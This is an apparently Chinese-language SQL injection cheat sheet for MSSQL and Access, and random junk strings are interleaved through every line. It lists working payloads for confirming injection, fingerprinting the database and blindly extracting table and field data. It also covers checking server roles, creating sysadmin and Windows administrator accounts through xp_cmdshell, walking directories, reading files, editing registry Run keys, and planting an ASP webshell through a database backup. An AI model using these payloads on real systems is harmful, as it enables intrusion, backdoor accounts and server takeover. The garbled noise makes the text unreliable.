1.判断是否有注入;and 1=1 ;and 1=2 BgUp~zdo
2.初步判断是否是mssql ;and user>0 )D/,QWk
qWWt5rJ
3.注入参数是字符'and [查询条件] and ''=' lOeX5%$Z
!1i-"rR
4.搜索时没过滤参数的'and [查询条件] and '%25'=' R-NM ~gp
&k_*Y-l7]
5.判断数据库系统 umq6X8K
T*0;3&sA
;and (select count(*) from sysobjects)>0 mssql Keo<#Cc?
hF@%k
;I
;and (select count(*) from msysobjects)>0 access zng.(]U/?H
ovM;6o
/J_],KdU
zT6nC5E
6.猜数据库 ;and (select Count(*) from [数据库名])>0 =M*pym]QSY
nr
-< mQ
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 !DSm[Z1
82EvlmD
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 Z#Nw[>NN*
WrDFbcH
9.(1)猜字段的ascii值(access)
%!nN<%
d|Wqx7t]P
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 zz(|V
p o)lN[v
(2)猜字段的ascii值(mssql) EKF4]
K/N{F\
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 =:w,wI.
F_R\
10.测试权限结构(mssql) &@CUxK
wn.6l
`
u*=^>LD
kw2yb
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- M$@~|pQ<
)LKJfoo
PY
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- cf"&22TQ+Z
E%D .a=UX,
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- |k*bWuXgLs
<W8%eRfU
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- l P=I0A-
{'M/wT)FeC
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- p2rT0gu!
GeY!f/yQ<
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- P%l?C?L
t'At9<ib
;and 1=(select IS_MEMBER('db_owner'));-- \SQ4yc
$3p 48`.\
9^n0<(99b
I)` +:+P
11.添加mssql和系统的帐户 ^VMCs/g6
"xTVu57Z[
;exec master.dbo.sp_addlogin username;-- \yw5`5g
;exec master.dbo.sp_password null,username,password;-- %Y;^$%X%_
d1c+Ii%
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- X=m^+%iD
JHm Pa
;exec master.dbo.xp_cmdshell 'net user username password $},XRo&R
}`QZV_
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- KyVzf(^
`{>/'o
;exec master.dbo.xp_cmdshell 'net user username password /add';-- `|AH3v1
3]JJCaf
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- ."BXA8c;A
juF=ZW%i
^ /G ;
d-Z2-89K
12.(1)遍历目录 ~ <K,P
jG{?>^
;create table dirs(paths varchar(100), id int) xsRkO9x
Lm`-q(!7w
;insert dirs exec master.dbo.xp_dirtree 'c:\' rBQ<5.
1I69O6"
;and (select top 1 paths from dirs)>0 nF]R"
fm^`
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) VUUnB<j
<v'[Wl@hq
nZ'jj S[!
Nk\ni>Du3
(2)遍历目录 H#YI7l2
/"A=Yf
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- BI,]pf;GWv
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 9RJ#zUK
T}Wbt=\M
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 u
e
P#!gP3
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 C|Gk}
VV$#<D<)
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 j?o6>j
W>+`e]z
RiR],Sj
x!s=Nola
13.mssql中的存储过程 K7JZUS`C!
iVeH\a
xp_regenumvalues 注册表根键, 子键 %2I>-0]B
af@a /
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 %Ul,9qG+
JK!`uG+v
xp_regread 根键,子键,键值名
J?Y,3cc.
<aaT,J8%[
;exec xp_regread 9fbbJ"I+
ALF21e*n
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 '#=n>
EMr|#}]#s
xp_regwrite 根键,子键, 值名, 值类型, 值 S`
U,
<Bn0wr8)\
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 /t]1_
n>eDN\5
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 Y{dX[^[
xqg4b{
xp_regdeletevalue 根键,子键,值名 4,:I{P_>6B
kGnT4R*E
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 1CZO+MB&"$
d42Y` Wu
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 \/ri|fm6l#
+\ "NPK@3
.7Yox1,
(r?hD*2r
14.mssql的backup创建webshell @IbZci)1
> fV"bj.
use model .6rbn8h
F%lC%~-qh
create table cmd(str image); f &NX~(
X)RgXl{
insert into cmd(str) values (''); j`@`M*)GB
q!U$\Q&
backup database model to disk='c:\l.asp'; K>~YO~~
kUGFg{"
GL9'dL|
R%2.N!8v
15.mssql内置函数 7>MG8pf3a
Z6Mjc/
;and (select @@version)>0 获得Windows的版本号 W)f=\.7
vmNI$KZM
;and user_name()='dbo' 判断当前系统的连接用户是不是sa b5%<},ySq
n;=FD;}j+
;and (select user_name())>0 爆当前系统的连接用户 C]JK'K<7-
Zz:%KUl3
;and (select db_name())>0 得到当前连接的数据库 y?r`[{L(lA
|"Zf0G
^K J#dT
9:xs)t- _
16.简洁的webshell z8kebS&5
sb_/FE5e
use model cg]Gt1SU
$E; Tj|W
create table cmd(str image); ydY(*]
rrgOp5aV"
insert into cmd(str) values (''); fXnewPr=#
*a|575e< z
backup database model to disk='g:\wwwtest\l.asp';